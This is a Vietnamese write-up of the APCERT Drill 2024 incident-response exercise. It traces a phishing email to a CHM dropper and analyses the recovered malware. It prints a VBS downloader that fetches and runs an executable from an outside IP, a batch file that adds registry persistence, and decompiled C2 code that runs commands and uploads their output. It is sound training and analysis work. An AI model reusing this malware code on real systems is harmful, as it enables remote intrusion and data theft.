# Diễn tập thực chiến APCERT Trong diễn tập lần này, mình là thành viên đội core team của VNCERT, VNCERT là tổ chức thay mặt Việt Nam tham dự cuộc diễn tập quốc tế. Chủ đề lần này là `"APT Group Attack Response: Where is Wally"` - nhằm mô phỏng một sự cố tấn công APT (Advanced persistent threat). Người chơi trong vai chuyên viên Ứng cứu sự cố có nhiệm vụ là điều tra sự cố càng nhanh càng tốt dựa trên các bằng chứng được ban tổ chức cung cấp. Cuộc diễn tập này mô phỏng một sự cố an toàn thông tin, trong đó chúng ta sẽ đóng vai trò là chuyên gia điều tra, ứng cứu sự cố. Có một đơn vị bị tấn công APT và chúng ta sẽ giao tiếp với họ qua email: ![image](https://hackmd.io/_uploads/Syk2uY13C.png) ## Các injects Tất cả có 7 inject, xuyên suốt là những công việc mình cần làm dưới vai trò là một chuyên viên. ``` SUBJECT : INJECT 00: APCERT DRILL 2024 – COUNTDOWN TO: <<All Players of the APCERT DRILL 2024>> CC: <<All Observers of the APCERT DRILL 2024>> *** Start Message Body *** *** EXCON Note Begin *** Dear Participants, The Drill Exercise Control (EXCON) team would like to draw your attention on the following points of the Drill exercise. 1. Time and Schedule - The APCERT Drill 2024 will start in 30 minutes. - The duration of the exercise, including this notification, is five (5) hours. 2. Scenario & Injects There will be ONE major scenario with eight (8) major prescheduled injects, plus dynamic injects responding to Player interaction. If in doubt about which address to use for a take-down notice, please refer to “5. Drill Scenario communication during the Drill” below, which states that ALL communication is to be directed to EXCON via the Chat menu through the platform. 3. The Players and Observers Players and Observers should get ready to log in with the assigned account information. Please stay online to check for new emails at internals of no longer than three (3) minutes during the exercise. If you have any difficulty on logging into the platform, sending emails, or encountering other issues related to the platform, please refer to the manual or contact first-team@krcert.or.kr. 4. Drill communication All Player email communication must be sent to EXCON. If you have an Observer, then please carbon-copy (cc) them as well. In the message body, use the tags “TO:” and “CC:” to denote parties you intend to send to, but exclude a mark as REAL. =>NEVER<= send emails to REAL institutions =>ALL<= Player inquiries must be sent to EXCON 5. In this Drill, you will see a role called “PANDORA-CERT”. It is a generic name that refers to your own CSIRT/CERT name. All references to “government” are not specific to any country but should be assumed to pertain to your jurisdiction. All references to “country” are not specific to any one country but refers to the economy of your constituency. Players may assume that communication to “CSIRT” is directed to the Players. The generic email address for the CSIRT will be xx@csirt.xx 6. “PANDORA -CERT” will act as an OPERATIONAL MEMBER of APCERT or other Players from APCERT partners. Communication to and from “CSIRT” (Players) will be via EXCON. 7. EACH INJECT IS GIVEN A CLEAR OBJECTIVE. COMPLETE THE TASKS ACCORDING TO THIS OBJECTIVE. 8. If necessary, any shutdown requests should be crafted as per your real script BUT sent to EXCON and NOT to real Internet or corporate bodies. THIS IS IMPORTANT: The exercise may use some real-world information to enhance the reality of the exercise, including real-world named entities, but they ARE NOT involved in the exercise and MUST NOT be contacted. The Players are expected to perform analysis of packet captures, logs, malicious code, email samples, and reverse engineering. It is expected that Players will have the necessary software already installed to perform the analysis. Thank you for participating in the APCERT 2024 Drill APCERT Drill 2024 EXCON EXCON Note End End Message Body ***************************************** ``` Mail đầu tiên thông báo về thể lệ và quy chế thi, cũng như bối cảnh mô phỏng, các kỹ năng, công cụ cần thiết để tiến hành điều tra, phân tích. Sau khi trả lời mail này chúng ta sẽ nhận được mail thứ 2: ``` Subject : INJECT 01: Initial call for assistance FROM : oliver@woofit.org <Assistant Manager, WOOF-IT Team> TO : cert-submit@ pandoracert.org <PANDORA-CERT> CC : Manager, WOOF-IT Team *** Start Message Body *** Dear PANDORA-CERT, I am Oliver, an assistant manager at the WOOF-IT Team, responsible for internal information security. Our institute suspects a cyber incident, though the reasons are unclear, following internal reports from an employee after the issuance of a security advisory. Due to the nature of our industry, we are required to report to you. Currently, we have collected some artifacts and ask for assistance in analyzing them, as we may not have the capacity of personnel to cross-check findings, should this turn out to be something significant. We would like to request assistance from the PANDORA-CERT team with this matter. Thank you in advance for your collaboration regarding this matter. Best regards, Oliver Reece Assistant Manager, IT Team WOOF Defense Research Institute *** End Message Body *** *** Objective *** To respond to the incident to provide assistance to the WOOF IT team. *************** ``` Mail trên được một trợ lý giám đốc Oliver của WOOF-IT Team. Nội dung mail nói rằng team đang nghi ngờ nội bộ đang gặp sự cố tấn công mạng, tuy hiện chưa rõ nguyên nhân, nhưng họ sẽ gửi một số artifact cho mình điều tra. ``` Subject : INJECT 02: Check the Provided Network Packets for any Anomalies FROM : oliver@woofit.org <Assistant Manager, WOOF-IT Team> TO : cert-submit@ pandoracert.org < PANDORA-CERT > CC : Manager, WOOF-IT Team *** Start Message Body *** Dear PANDORA-CERT, This is Oliver from the WOOF-IT Team. Thank you for your prompt response and support. To provide some context, I recently attended an International Cybersecurity Conference where I learned about a group of APT attackers targeting defense and other research institutes. We subsequently provided normal security advisory to our employees. After receiving this advisory, an employee reported that intermittent slowdowns were occurring. Although there could be many potential reasons for a PC to slow down, given the specificity of our institute, the legal requirement of reporting, and the recent activities of APT groups, we believe further analysis is necessary. To investigate further, we collected artifacts from one affected PC, but we are still investigating the scope of PC affected. As we are still identifying the affected computers, we request PANDORA-CERT to perform some initial investigation on the artifacts attached to this email. The only logs the IT team was able to obtain from the PC at this moment were Chrome artifacts and email logs. If the infection is indeed caused by a malware download, please answer this email immediately with the download link so that we may block further downloads, and provide any findings of the how or why the download was initiated. Thank you. Best regards, Oliver Reece Assistant Manager, IT Team WOOF Defense Research Institute [Attachments] Chrome artifact Mail log files *** End Message Body *** *** Objective *** To identify the malware infiltration path and provide the basis for this determination *************** ``` Mail này đề cập tới một nhân viên báo cáo rằng máy tính của mình bị chậm lại, có thể có nhiều nguyên nhân, tuy nhiên họ vẫn muốn phân tích thêm. Và họ sẽ cung cấp cho mình lịch sử email và nhật ký chrome để mình phân tích. Và nếu máy tính thực sự bị nhiễm mã độc download từ trên mạng thì Oliver yêu cầu mình cung cấp đường dẫn và các phát hiện có liên quan khác để họ kịp thời ngăn chặn lây nhiễm sang các máy tính khác. Xem qua các [artifact](https://github.com/SandydotSec/Apcert/tree/main/Inject02) nhận được từ Oliver. Trong lịch sử mail có nhiều địa chỉ gửi đến, nhưng ta có thể loại bỏ một số mail không thuộc diện tình nghi như `@woof.com` (mail nội bộ của Woof), `@github.com`, `@wordpress.com`, `@google.com` (vì các mail này đã được xác thực từ các cơ quan, tổ chức uy tín). Và chỉ còn một địa chỉ mail đáng ngờ là `anderson.daniel.A@proton.me`. ProtonMail là một dịch vụ mail mã hóa, có thể kẻ tấn công sử dụng cách này nhằm che dấu danh tính thật của mình, hãy xem xét nội dung mà mail này gửi cho Eve: ![image](https://hackmd.io/_uploads/ryOKCIWhA.png) Trong mail được đính kèm một đường dẫn tuyệt đối đến file mamual.zip trên một ip đáng ngờ. Tại thời điểm này thì link đó đã không còn hoạt động nữa. Tuy nhiên trong artifact vẫn còn 1 file `History`, sau khi tìm hiểu phát hiện đây là 1 file database SQLite3 được sử dụng bởi các trình duyện nhân Chromium để lưu trữ lịch sử duyệt web của người dùng. ![image](https://hackmd.io/_uploads/SyJy3up3C.png) ![image](https://hackmd.io/_uploads/SJ47dP-20.png) ![image](https://hackmd.io/_uploads/H1SxNdZ3R.png) ![image](https://hackmd.io/_uploads/rJq-Ed-2A.png) Chuyển đổi thời gian trong db sang UTC+0 Đây là một file data của sqlite3, khi xem dữ liệu trong bảng download sẽ thấy các file người dùng tải về, có thể thấy người dùng đã tải file manual.zip 2 lần tại 2 thời điểm khác nhau như ở trên ![image](https://hackmd.io/_uploads/SyW_y_W20.png) Người dùng còn lướt một số trang web khác. Đến đây thì có thể đặt giả thiết rằng kẻ tấn công đã gửi mail phishing tới nạn nhân và họ đã click vào link độc hại nên mã độc đã được tải về. ``` Subject : INJECT 03: Analyze the Packet Further FROM : oliver@woofit.org <Assistant Manager, WOOF-IT Team> TO : cert-submit@ pandoracert.org < PANDORA-CERT > CC : Manager, WOOF-IT Team *** Start Message Body *** Dear PANDORA-CERT, This is Oliver from the WOOF-IT Team. Based on the information you provided, we have confirmed that the malware infiltrated our systems via email. However, the download link is currently invalid, and the attachment is not archived, so we were unable to obtain the malware. Since the malware was downloaded through the link, we believe it may still be possible to retrieve the binary through network packet analysis. We would like to request your assistance with this. Malware Acquisition Request We kindly ask your team to perform a deeper analysis of the provided network packet file and extract any malicious code present. Please send the malware in a zip file with password "infected", its md5 hash. We just need this basic information now for confirmation of the initial affected PC so we may contain them. We appreciate your prompt attention to this matter and thank you for your cooperation. Thank you. Best regards, Oliver Reece Assistant Manager, IT Team WOOF Defense Research Institute [Attachments] PCAP.pcapng *** End Message Body *** *** Objective *** To analyze the PCAP, extract the dropper, and send the findings back to EXCON *************** ``` Sau khi phản hồi cho Oliver những gì mình phát hiện về hướng lây nhiễm của mã độc, chúng ta sẽ nhận được mail inject 3. Trong mail này họ sẽ gửi cho mình file [pcap](https://github.com/SandydotSec/Apcert/tree/main/Inject03) để mình phân tích sâu hơn về những trao đổi qua mạng. ![image](https://hackmd.io/_uploads/HJKzSRf2A.png) Sau khi lọc các gói tin http, nhìn thấy request từ nạn nhân đến 43.203.173.81 để tải file manual.zip trùng khớp với khoảng thời gian trong file lịch sử chrome được cấp từ trước vào lúc 12:53:45. Để lấy file này từ file wireshark ta sẽ sử dụng chức năng export object của wireshark: ![image](https://hackmd.io/_uploads/BJJN8Rz30.png) Extract file zip với mật khẩu như trong mail đề cập tới "share" thì được một file .chm. Ta sẽ sử dụng 7zip để tiếp tục giải nén file .chm này ra được một rổ file. ![image](https://hackmd.io/_uploads/SJ9FdUV2R.png) Lúc này ta có thể sử dụng string grep để tỉm các string liên quan tới mã độc. Có một đoạn mã cmd nằm trong file `MAGE User guide.html` ![image](https://hackmd.io/_uploads/S1vz9U4nA.png) Trong file html mà có lệnh cmd thì quá là sú luôn. Đoạn lệnh này sẽ lưu hai đoạn script base64 encode, 1 lưu vào file "%TEMP%\guide.dat", sau đó lưu tiếp 1 đoạn nữa vào "%TEMP%\manual.dat" rồi tiến hành decode guide.dat -> guide.vbs, manual.dat -> manual.bat và khởi chạy guide.vbs. Phân tích sâu hơn hành vi của các đoạn mã bị encode: > [!Note] > Có thể sử dụng bất kỳ công cụ giải mã nào, mình thì hay sử dụng cyberchef **guide.vbs**: ```vbs Option Explicit Dim strURL, strTempPath, strSaveTo Dim objXML, objStream, objShell Dim WshShell Set WshShell = CreateObject("WScript.Shell") Dim tempFolderPath tempFolderPath = WshShell.ExpandEnvironmentStrings("%TEMP%") Dim batFilePath batFilePath = tempFolderPath & "\manual.bat" WshShell.Run """" & batFilePath & """", 0, True Set WshShell = Nothing strURL = "http://43.203.173.81:8080" Set objShell = CreateObject("WScript.Shell") strTempPath = objShell.ExpandEnvironmentStrings("%TEMP%") strSaveTo = strTempPath & "\menual.exe" Set objXML = CreateObject("MSXML2.ServerXMLHTTP") Set objStream = CreateObject("ADODB.Stream") objStream.Open objXML.Open "GET", strURL, False objXML.Send If objXML.Status = 200 Then objStream.Type = 1 ' objStream.Write objXML.ResponseBody objStream.Position = 0 objStream.SaveToFile strSaveTo, 1 objStream.Close objShell.Run strSaveTo, 1, False End If Set objStream = Nothing Set objXML = Nothing Set objShell = Nothing ``` Đây là một con downloader, đầu tiên nó chạy file manual.bat: **manual.bat**: ```bat @echo off setlocal set "tempPath=%TEMP%" set "programPath=%tempPath%\guide.vbs" set "regKeyName=Manual" reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "%regKeyName%" /d "\"%programPath%\"" /f endlocal ``` File này sẽ set registry cho guide.vbs vào `HKCU\Software\Microsoft\Windows\CurrentVersion\Run` nhằm mục đích persistence. Key này chắc không còn lạ gì với mấy con mã độc. Sau đó đoạn mã sẽ download tiếp một file tại url `http://43.203.173.81:8080` và lưu thành menual.exe. Kiểm tra trong file pcap sẽ thấy request này: ![image](https://hackmd.io/_uploads/ryKqxv42R.png) Nó đây, mặc dù tên file trên request là menual.txte, tuy nhiên thông qua header của file thì thấy đây là một file thực thi trên window. Export nó ra bằng cách cũ. Và để ý thêm, sau khi tải thành công file menual.exe và chạy nó thì nạn nhân sẽ giao tiếp với một c2 có địa chỉ `43.201.253.28:5000` với các enpoint như `/command`, `/upload`. Đến đây đã có đủ thông tin, bằng chứng để gửi cho Oliver và đợi phản hồi từ cô ấy. ``` Subject : INJECT 04: ANALYZE THE MALWARES AND EXTRACT .EXE BINARY FROM : oliver@woofit.org <Assistant Manager, WOOF-IT Team> TO : cert-submit@ pandoracert.org < PANDORA-CERT > CC : Manager, WOOF-IT Team *** Start Message Body *** Dear PANDORA-CERT, This is Oliver from the WOOF-IT Team. Thanks for replying to us with the malware. We conducted an internal analysis of the malware and discovered that the CHM file is a dropper, which creates and executes additional downloader malware. This downloader then retrieves and executes further malware from the C&C server. However, the C&C server is currently closed, preventing us from obtaining the additional malware. We will send you the malware extracted from the CHM file that we have obtained. We believe the link to the C&C should be in the VBS and/or BAT file. The additional malware that is downloaded is expected to be in the PCAP previously provided. As expected, we are still busy containing infected PCs and request PANDORA-CERT to extract the additional malware that comes from the C&C link in the PCAP file. Please provide us with the minimal information at this stage: o A sample of the additional malware in a zip file with the password "Infected"; o The name of the malware; and o The md5 hash of the malware. We will need this information to quickly identify the PCs and locate where the malware is present in our systems. We appreciate your prompt analysis and response, and thank you for your cooperation. Thank you. Best regards, Oliver Reece Assistant Manager, IT Team WOOF Defense Research Institute [Attachment] VBS script file, BAT script file *** End Message Body ** *** Objective *** To analyze the PCAP provided in Inject 03 and the attached scripts, then reassembly the fragmented malware and respond back *************** ``` Họ gửi cho mình 2 file ta đã tìm ra ở trên. Câu trả lời của đoạn này chính là con mã độc menual.exe ta vừa lấy được trong file pcap ở inject trước, công việc lần này chỉ là zip lại với mật khẩu được chỉ định và lấy md5 hash ```ps1 PS D:\Project\apcert> get-fileHash .\%2f -algorithm md5 Algorithm Hash Path --------- ---- ---- MD5 0DE9BE1ABA2E6DC3CE016FB24BFAAD9E D:\Project\apcert\%2f ``` Tiếp tục gửi mail và đợi phản hồi từ Oliver ``` Subject : INJECT 05: Analyze the Identified Malware FROM : oliver@woofit.org <Assistant Manager, WOOF-IT Team> TO : cert-submit@ pandoracert.org < PANDORA-CERT > CC : Manager, WOOF-IT Team *** Start Message Body *** Dear PANDORA-CERT, This is Oliver from the WOOF-IT Team. After reviewing the malware binary you provided, we believe it may be similar to the APT attack group targeting organizations that was recently discussed at the International Cybersecurity Conference. We suspect this malware infection is an APT attack based on various circumstances, but we cannot make an accurate judgment as we still lack the necessary internal personnel due to incident response. Therefore, we are requesting PANDORA-CERT for your professional analysis support. Requested Information We request a detailed analysis of the EXE-formatted binary file you previously obtained and sent to us: - Main functionality of the malicious binary (menual.exe) - If there are any strings used for behavior in the malware, please provide their values. - If there are additional C&C servers accessed by the malware, please provide the IP addresses of those servers. We look forward to your team's prompt analysis and response, and we thank you for your cooperation. Thank you. Best regards, Oliver Reece Assistant Manager, IT Team WOOF Defense Research Institute *** End Message Body *** *** Objective *** To provide detailed analysis of the reassembled malware from Inject 04, including key functionalities, Strings, and C2, in your response *************** ``` Lần này họ muốn chúng ta phân tích về hành vi của con mã độc này và gửi cho họ các thông tin như: chức năng chính, các strings, c2 server... Có nhiều công cụ có thể sử dụng để thực hiện reverse engineering, mình sẽ dùng IDA để tiến hành dịch ngược file này. ```c void __noreturn sub_140002020() { const WCHAR *v0; // rax int v1; // [rsp+40h] [rbp-468h] void *hInternet; // [rsp+48h] [rbp-460h] void *hConnect; // [rsp+50h] [rbp-458h] void *hSession; // [rsp+58h] [rbp-450h] __int64 i; // [rsp+60h] [rbp-448h] DWORD dwNumberOfBytesRead; // [rsp+68h] [rbp-440h] BYREF int Buffer; // [rsp+6Ch] [rbp-43Ch] BYREF __int64 v8[4]; // [rsp+70h] [rbp-438h] BYREF char v9[1024]; // [rsp+90h] [rbp-418h] BYREF while ( 1 ) { while ( 1 ) { hSession = WinHttpOpen(aHttp10_2, 0, 0i64, 0i64, 0); if ( hSession ) { v0 = (const WCHAR *)xor_string((__int64)&enc_ipAddr, 0x3B); hConnect = WinHttpConnect(hSession, v0, 0x1388u, 0); if ( hConnect ) { hInternet = WinHttpOpenRequest(hConnect, aPost_2, aCommand, 0i64, 0i64, 0i64, 0); if ( hInternet ) break; } } Sleep(0x186A0u); } Buffer = 12544; WinHttpSetOption(hInternet, 0x1Fu, &Buffer, 4u); if ( WinHttpSendRequest(hInternet, 0i64, 0, 0i64, 0, 0, 0i64) && WinHttpReceiveResponse(hInternet, 0i64) ) { dwNumberOfBytesRead = 0; v1 = 0; memset(v9, 0, sizeof(v9)); while ( WinHttpReadData(hInternet, v9, 1023u, &dwNumberOfBytesRead) && dwNumberOfBytesRead ) { for ( i = (__int64)splitChar(v9, split_key1); i; i = (__int64)splitChar(0i64, split_key2) ) v8[v1++] = i; v8[v1++] = 0i64; eXcUtE((const char **)v8); memset(v9, 0, sizeof(v9)); Sleep(0x7530u); } } WinHttpCloseHandle(hInternet); WinHttpCloseHandle(hConnect); WinHttpCloseHandle(hSession); } } ``` Đây chính là hàm main của chương trình. Trước tiên nó sẽ khởi tạo tạo một phiên HTTP bằng hàm WinHttpOpen với HTTP handle là hSession. Sau đó khởi tạo kết nối tới địa chỉ c2 bị mã hóa enc_ipAddr bằng WinHttpConnect và dùng hàm xor_string để giải mã với key là 0x3B. Chi tiết hàm xor_string: ```c __int16 *__fastcall sub_1400012D0(__int64 a1, __int16 a2) { int v3; // [rsp+0h] [rbp-228h] int v4; // [rsp+4h] [rbp-224h] int v5; // [rsp+8h] [rbp-220h] __int16 v7[256]; // [rsp+10h] [rbp-218h] BYREF v4 = 0; v3 = 0; memset(v7, 0, sizeof(v7)); while ( *(_BYTE *)(a1 + v3 + 1) ) ++v3; v5 = v3; do { v7[v4] = a2 ^ *(char *)(a1 + v4); ++v4; } while ( v5-- ); return v7; } ``` Nhìn qua thì thấy đây chỉ là một đoạn code xor đơn giản, dựa vào đây mình có code một script để giải mã đoạn này (hoặc có thể copy hỏi chatgpt, mấy cái này nó làm phút mốt): ```cpp #include <iostream> #include <cstring> void decode(const unsigned char* encodedData, size_t length, unsigned char xorValue, char* decodedData) { for (size_t i = 0; i < length; ++i) { decodedData[i] = encodedData[i] ^ xorValue; } decodedData[length] = '\0'; } int main() { unsigned char encodedData[] = { 0x0F, 0x08, 0x15, 0x09, 0x0B, 0x0A, 0x15, 0x09, 0x0E, 0x08, 0x15, 0x09, 0x03, 0x00, 0x00, 0x00 }; size_t length = sizeof(encodedData) / sizeof(encodedData[0]); char decodedData[256] = {0}; unsigned char xorValue = 0x3B; decode(encodedData, length, xorValue, decodedData); std::cout << "Decoded string: " << decodedData << std::endl; return 0; } ``` Sau khi decrypt được ip c2: `43.201.253.28`. URL đầy đủ sẽ là `43.201.253.28:5000`(`0x1388=5000`) hoàn toàn trùng khớp với những phát hiện trong file pcap. Kế tiếp, chương trình sẽ thực hiện một post request tới c2 với enpoint `/command` để nhận lệnh từ máy chủ: ```c hInternet = WinHttpOpenRequest(hConnect, aPost_2, aCommand, 0i64, 0i64, 0i64, 0); ``` ![image](https://hackmd.io/_uploads/r1rPgpE3C.png) Đây chính là data mà c2 gửi về cho máy nạn nhân. `63_dir_100` có nghĩa là gì??? Phân tích hàm dùng để tách chuỗi: ```c char *__fastcall splitChar(char *split_string, char *key) { int v3; // [rsp+0h] [rbp-38h] int v4; // [rsp+0h] [rbp-38h] int v5; // [rsp+4h] [rbp-34h] int v6; // [rsp+4h] [rbp-34h] char *v7; // [rsp+18h] [rbp-20h] char *v8; // [rsp+18h] [rbp-20h] char *v9; // [rsp+20h] [rbp-18h] char *v10; // [rsp+40h] [rbp+8h] v10 = split_string; if ( !split_string ) { v10 = (char *)string2; if ( !string2 ) return 0i64; } LABEL_4: v3 = *v10++; v7 = key; while ( 1 ) { v5 = *v7++; if ( !v5 ) break; if ( v3 == v5 ) goto LABEL_4; } if ( v3 ) { v9 = v10 - 1; LABEL_11: v4 = *v10++; v8 = key; while ( 1 ) { v6 = *v8++; if ( v6 == v4 ) break; if ( !v6 ) goto LABEL_11; } if ( v4 ) *(v10 - 1) = 0; else v10 = 0i64; string2 = (__int64)v10; return v9; } else { string2 = 0i64; return 0i64; } } ``` Nó có khá nhiều biến nên có thể sẽ hơi lú, đọc từ từ sẽ hiểu. Mình sẽ giải thích dựa trên bằng chứng cụ thể với chuỗi `63_dir_100`: - v10 trỏ vào split_string tức là giờ nó sẽ nằm ở ký tự '6'. - lúc này split_string không phải null nên có thể bỏ qua câu lệnh if và nhảy vào label4 - v3 = *v10 (v3 = '6'), *v10++ tức trỏ tới phần tử tiếp theo trong chuỗi (v10 = '3') - v7 = key (v7 = '_') - bắt đầu vòng lặp: - v5 = *v7 (v5 = '_') v7 trỏ tới phần tử kế tiếp (null) - nếu v5 != null thì break, lúc này v5 = '_' nên chương trình sẽ nhảy ra khỏi vòng while - v9 = v10 - 1, lúc nãy v10 đã ++ trỏ vào '3' nên giờ nó sẽ -1 để trở về '6' và gán cho v9 địa chỉ của ký tự này. - chương trình tiếp tục với label 11. Giống như label4: gán v4 = *v10 (v4 = '6'), *v10++ tức trỏ tới phần tử tiếp theo trong chuỗi (v10 = '3'), v8 = '_' - v6 = *v8 (v6 = '_') v8= null - so sánh v6 với v4 không bằng nhau - v6 chưa null, bắt đầu lại label11 - cập nhật lại v4 = '3', v10 = v8 = '_' - v6 = '_' - so sánh v6 và v4: '3'!='_' - lại nhảy về lable11 tiếp tục như các vòng lặp trên - v4 = "_", v10 ='d' lúc này v4 đã = v6 và nhảy ra khỏi while và tiếp tục lệnh bên dưới - nếu v4 chưa null thì sẽ đặt ký tự kết thúc chuỗi ở ngay v4 tức là giờ chuỗi split_string sẽ thành "63 ==\0== dir_100" - gán string2 thành địa chỉ của v10 hiện tại (chính là ký tự 'd') để tiếp tục phân tách ở lần gọi thứ 2, và cuối cùng trả về v9 bây giờ chứa chuỗi đã được tách ra "63" Tóm lại là hàm này sẽ tách chuỗi ban đầu thành các chuỗi con ngăn cách nhau bởi '_' ```c for ( i = (__int64)splitChar(v9, split_key1); i; i = (__int64)splitChar(0i64, split_key2) ) v8[v1++] = i; v8[v1++] = 0i64; eXcUtE((const char **)v8); ``` Để ý là vòng for không có {} nên chỉ có 1 lệnh sau đó là được coi là lệnh trong for, vì vậy giá trị của v8 sau for sẽ là: - v8[0] = 63 - v8[1] = dir - v8[2] = 100 - v8[3] = "\0" (null byte) gọi tiếp tới eXcUtE: ```c unsigned int __fastcall eXcUtE(const char **a1) { unsigned int result; // eax int v2; // [rsp+20h] [rbp-18h] v2 = strtol(*a1, 0i64, 16); result = strtol(a1[2], 0i64, 16); switch ( v2 ) { case 97: sub_140001640(a1[1]); // upload return sub_1400013B0(0x61u, a1[1]); case 98: sub_1400018E0(a1[1], result); // download return sub_1400013B0(0x62u, a1[1]); case 99: sub_140001BB0(a1[1]); // upload return sub_1400013B0('c', a1[1]); case 100: sub_140001E00(a1[1]); // create proc return sub_1400013B0('d', a1[1]); } return result; } ``` nó chuyển '63' về hex tức = 99, hex a1[2] = 256, lúc này switch sẽ nhảy vào case 99: ```c DWORD __fastcall sub_140001BB0(const char *a1) { __int16 *v1; // rax DWORD result; // eax BOOL v3; // [rsp+40h] [rbp-2768h] void *hInternet; // [rsp+48h] [rbp-2760h] void *hConnect; // [rsp+50h] [rbp-2758h] void *hSession; // [rsp+58h] [rbp-2750h] int dwHeadersLength; // [rsp+60h] [rbp-2748h] FILE *Stream; // [rsp+68h] [rbp-2740h] int v9; // [rsp+7Ch] [rbp-272Ch] BYREF char Buffer[10000]; // [rsp+80h] [rbp-2728h] BYREF Stream = popen(a1, aR); memset(Buffer, 0, sizeof(Buffer)); fread(Buffer, 1ui64, 0x270Fui64, Stream); pclose(Stream); hSession = WinHttpOpen(aHttp10_1, 0, 0i64, 0i64, 0); if ( !hSession ) return WinHttpCloseHandle(0i64); v1 = xor_string((__int64)&enc_ipAddr, 59); hConnect = WinHttpConnect(hSession, (LPCWSTR)v1, 0x1388u, 0); if ( !hConnect ) return WinHttpCloseHandle(0i64); v9 = 12544; WinHttpSetOption(0i64, 0x1Fu, &v9, 4u); hInternet = WinHttpOpenRequest(hConnect, aPost_1, aUpload_0, 0i64, 0i64, 0i64, 0); if ( !hInternet ) return WinHttpCloseHandle(0i64); dwHeadersLength = lstrlenW(aContentTypeApp_0); v3 = WinHttpSendRequest(hInternet, aContentTypeApp_0, dwHeadersLength, 0i64, 0, 0x270Fu, 0i64); result = GetLastError(); if ( v3 ) { result = WinHttpWriteData(hInternet, Buffer, 0x270Fu, 0i64); if ( result ) return WinHttpReceiveResponse(hInternet, 0i64); } return result; } ``` mã độc dùng hàm popen để thực thi lệnh trên hệ thống, hàm này nhận 2 tham số là command và mode. Ở trường hợp này mã độc nhận tham số command là v8[1] = 'dir' và ,mode = 'r' tức là nó sẽ đọc kết quả sau khi thực thi lệnh dir và ghi vào biến Buffer và kết nối tới c2 và gửi kết quả tới đó bằng enpoint /upload ( `hInternet = WinHttpOpenRequest(hConnect, aPost_1, aUpload_0, 0i64, 0i64, 0i64, 0);`). ![image](https://hackmd.io/_uploads/BJo4uJL2C.png) chính là gói tin này. Sau khi chạy xong hàm này nó sẽ return về main một hàm khác: ```c int __fastcall sub_1400013B0(unsigned int a1, const char *a2) { __int64 v2; // rax FILE *v3; // rax FILE *Stream; // [rsp+30h] [rbp-198h] struct tm *Tm; // [rsp+38h] [rbp-190h] char *v7; // [rsp+40h] [rbp-188h] char v8[8]; // [rsp+48h] [rbp-180h] BYREF char Buffer[80]; // [rsp+50h] [rbp-178h] BYREF char FileName[272]; // [rsp+A0h] [rbp-128h] BYREF sub_1400011E0((__time64_t *)v8); Tm = sub_1400011C0((const __time64_t *)v8); strftime(Buffer, 0x50ui64, Format, Tm); v7 = getenv(Username); v2 = (__int64)sub_140001200((__int64)&unk_140006040, 0x1C); sub_140001150((__int64)FileName, 260i64, v2, v7); v3 = fopen(FileName, Mode); //mode = a Stream = v3; if ( v3 ) { if ( a1 == 'c' ) sub_140001060((__int64)v3, "%s - [%#x] %s\n", Buffer, 'c', a2); else sub_140001060((__int64)v3, "%s - [%#x]\n", Buffer, a1); LODWORD(v3) = fclose(Stream); } return (int)v3; } ``` Hàm này dùng để ghi vào file cũng bị mã hóa xor hoàn toàn giống hàm để giải mã ip c2 nhưng được viết theo kiểu khác, chức năng hoàn toàn tương tự nhau: ```c _BYTE *__fastcall xor_string2(__int64 a1, char a2) { int v3; // [rsp+20h] [rbp-28h] int v4; // [rsp+24h] [rbp-24h] int v5; // [rsp+28h] [rbp-20h] _BYTE *v7; // [rsp+30h] [rbp-18h] v3 = 0; v4 = 0; v7 = malloc(0x100ui64); if ( !v7 ) return 0i64; while ( *(_BYTE *)(a1 + v4 + 1) ) ++v4; v5 = v4; do { v7[v3] = a2 ^ *(_BYTE *)(a1 + v3); ++v3; } while ( v5-- ); v7[v3] = 0; return v7; }**** ``` Script giải mã: ```c #include <stdio.h> #include <stdlib.h> unsigned char* decode_data(const unsigned char* data, int length, unsigned char key) { int i; unsigned char* decoded = (unsigned char*)malloc(length + 1); if (!decoded) { return NULL; } for (i = 0; i < length; ++i) { decoded[i] = data[i] ^ key; } decoded[length] = '\0'; // Null-terminate the decoded string return decoded; } int main() { // Dữ liệu từ bộ nhớ .data đã cho unsigned char data[] = { 0x5F, 0x26, 0x40, 0x40, 0x49, 0x6F, 0x79, 0x6E, 0x6F, 0x40, 0x40, 0x39, 0x6F, 0x40, 0x40, 0x5D, 0x6C, 0x6C, 0x58, 0x7D, 0x68, 0x7D, 0x40, 0x40, 0x50, 0x73, 0x7F, 0x7D, 0x70, 0x40, 0x40, 0x48, 0x79, 0x71, 0x6C, 0x40, 0x40, 0x5F, 0x50, 0x43, 0x2A, 0x2E, 0x2F, 0x2B, 0x79, 0x28, 0x2A, 0x2A, 0x7D, 0x6F, 0x68, 0x78, 0x5E }; int length = sizeof(data) / sizeof(data[0]); unsigned char key = 0x1c; unsigned char* decoded = decode_data(data, length, key); if (decoded) { printf("Decoded Data: %s\n", decoded); free(decoded); } else { printf("Memory allocation failed.\n"); } return 0; } ``` Giải mã với key=0x1c thì sẽ có đường dẫn file: `C:\\Users\\%s\\AppData\\Local\\Temp\\CL_6237e466astd` hoàn thành đường dẫn bằng cách getenv(Username) . Mã độc sẽ ghi vào đây ngày giờ và lệnh đã thực hiện. ngoài ra còn có 3 case khác, vì không có bằng chứng cho thấy các chức năng này được sử dụng bởi attacker nên mình sẽ nói ngắn gọn: case 97: ```c int __fastcall sub_140001640(const CHAR *a1) { HINTERNET v1; // rax __int16 *v2; // rax DWORD Size; // [rsp+40h] [rbp-58h] void *hInternet; // [rsp+48h] [rbp-50h] HANDLE hFile; // [rsp+50h] [rbp-48h] void *hConnect; // [rsp+58h] [rbp-40h] void *hSession; // [rsp+60h] [rbp-38h] int dwHeadersLength; // [rsp+68h] [rbp-30h] void *lpBuffer; // [rsp+70h] [rbp-28h] int Buffer[2]; // [rsp+80h] [rbp-18h] BYREF v1 = WinHttpOpen(pszAgentW, 0, 0i64, 0i64, 0); hSession = v1; if ( v1 ) { v2 = xor_string((__int64)&enc_ipAddr, 59); hConnect = WinHttpConnect(hSession, (LPCWSTR)v2, 0x1388u, 0); if ( hConnect ) { Buffer[0] = 12544; WinHttpSetOption(0i64, 0x1Fu, Buffer, 4u); hInternet = WinHttpOpenRequest(hConnect, pwszVerb, pwszObjectName, 0i64, 0i64, 0i64, 0); if ( hInternet ) { hFile = CreateFileA(a1, 0x80000000, 1u, 0i64, 3u, 0x80u, 0i64); if ( hFile != (HANDLE)-1i64 ) { Size = GetFileSize(hFile, 0i64); if ( Size != -1 ) { lpBuffer = malloc(Size); 